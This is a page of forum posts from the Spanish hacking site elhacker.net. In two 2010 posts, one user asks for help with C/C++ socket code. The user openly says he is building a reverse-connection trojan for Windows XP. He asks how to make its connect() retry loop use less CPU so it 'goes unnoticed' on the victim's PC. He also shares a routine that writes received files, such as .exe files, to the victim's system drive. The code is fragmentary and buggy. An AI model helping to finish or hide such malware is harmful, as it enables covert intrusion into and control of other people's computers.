elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Temas
Páginas: [1]
1  Programación / Programación C/C++ / ayuda con parametro a funcion open() en: 24 Agosto 2010, 02:15 am
Hola a todos:
     Ante todo buen día, hoy traigo una duda que quisiera que me la despejen,  ;D , resulta que estoy programando una función en C que reciba ficheros a través de una socket TCP para Windows XP SP2, y estoy utilizando la clase fstream:
Código
  1.  
  2. unsigned long Recvfile(int *dsock, char buffer[255])//dsock puntero al socket creado
  3. {
  4. std::string cadena;
  5.  
  6. char bytes[1024],*a=getenv("SystemDrive"), dir[20]={0};
  7.  
  8. int len=0,i, llega=0;
  9.  
  10. std::ofstream archivo;
  11.  
  12. for(i=0 ; i<=255 ; i++)          //Esto lo que hace es quitar el caracter "!" del
  13. {                                          //principio del array buffer es decir
  14. bytes[i]=buffer[i+1];       //buffer="!100#nombre"  ,  quedaria
  15. if(buffer[i]==0){break;}  //bytes="100#nombre"
  16. }                                            //(no se me ocurrio otra forma de hacerlo)
  17.                                                      //luego bytes se reutilizaria para almacenar los
  18.                                                     //datos que llegan (corregirme si este modo no
  19.                                                     //es correcto..)
  20.  
  21. cadena=Split(bytes, '#', 0);
  22.  
  23. i=atoi(cadena.c_str());  //esta variable i contendra el tamaño del archivo que llegara
  24.  
  25.        cadena=Split(bytes, '#', 1);
  26.  
  27. strcat(dir,a);
  28. // dir[2]='\\';
  29.  
  30.        strcat(dir,cadena.c_str());
  31.  
  32. archivo.open(dir,std::ios::binary);
  33.  
  34. while(llega!=i)
  35. {
  36.  
  37. // if(len==-1){Desconexion(*dsock);break;}  la funcion Desconexion no viene al caso
  38.  
  39. len=recv(*dsock, bytes, sizeof(bytes), 0);
  40.  
  41. llega+=len;
  42.  
  43. archivo.write(bytes, len);
  44.  
  45. }
  46.  
  47. archivo.close();
  48.  
  49. return llega;
  50. }
  51.  
  52. //Esta es la funcion Split para que la vean por las dudas que tenga errores
  53.  
  54. std::string Split(std::string buffer, char caracter, int parte)
  55. {
  56. std::string cad1, cad2;
  57. int i;
  58. i=buffer.find(caracter);
  59.  
  60. cad1=buffer.substr(0,i);
  61. cad2=buffer.substr(i+1,buffer.length());
  62.  
  63. if(parte==0){return cad1.c_str();}else{return cad2.c_str();}
  64. }
  65.  
  66.  


       Bueno como verán la idea es que se cree en el disco donde está instalado el sistema operativo. Bien, el problema esta en el primer parámeto que le paso a .open(), que sería el path del archivo a crear, no se cómo hacer para que la función me acepte el path que le estoy pasando con la variable dir, he probado de otras formas tmb, con punteros o con las clase string haciendo un .c_str() pero no hay caso, la única forma en la que anda y envía ficheros sin problemas es cuando le paso el parámetro a mano, es decir "C:\\fichero.exe" por ej, lo que no me sirve.
     
      Además, del otro lado (el programa que envía) tengo el mismo problema, sólo me abre el archivo cuando se la paso a mano y nunca pude lograrlo con una variable. El código siempre compila bien, sin errores pero no funciona y la función me pide un const char *, intenté varias veces ya pero me he quedado trabado ahi...

     Desde ya muchas gracias y cualquier corrección-crítica constructiva que tengan para hacerme la aceptaré como es debido ya que si se puede mejorar u optimizar código adelante!...
2  Programación / Programación C/C++ / Ayuda bucle con funcion connect() en: 9 Agosto 2010, 02:11 am
Hola a todos:
     Es mi primer post en este magnífico foro del cual tanto aprendi, y que a medida que vaya aprendiendo iré compartiendo ese conocimiento con uds. Bueno, al grano.
     Mi problema es el siguiente: estoy programando en C un troyano de conexión inversa para Win XP 32 bits SP 2, el server estaría en mi PC y el cliente en la víctima. La cuestión es que cuando en el cliente llamaría a connect(...) y este no conectaría por tener yo la PC apagada por ejemplo, quisiera que vuelva a llamar a connect() hasta que conecte. Aquí está el bucle del que les hablo.
    No se cómo hacer para que "No consuma muchos recursos"

Código
  1. while(n=-1);
  2. {
  3. // Sleep(5000);
  4. n=connect(sock, (struct sockaddr*)&cliente, sizeof(cliente));
  5. }

    Esta parte del código me consume el %50 de uso del CPU, lo sé por el adm de tareas, y además, cuando conecta, un bucle del mismo tipo pero con recv(), también me consume lo mismo. ¿Cómo hacer para que en la PC de mi víctima no se eleve tanto el uso del CPU y mi troyano pase más desapercibido?

Cuando termine de programar cliente y server voy a postear el código así me corrigen y me ayudan a optimizarlo porque de seguro debe tener muchos errores  :laugh:

Desde ya muchas gracias!
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines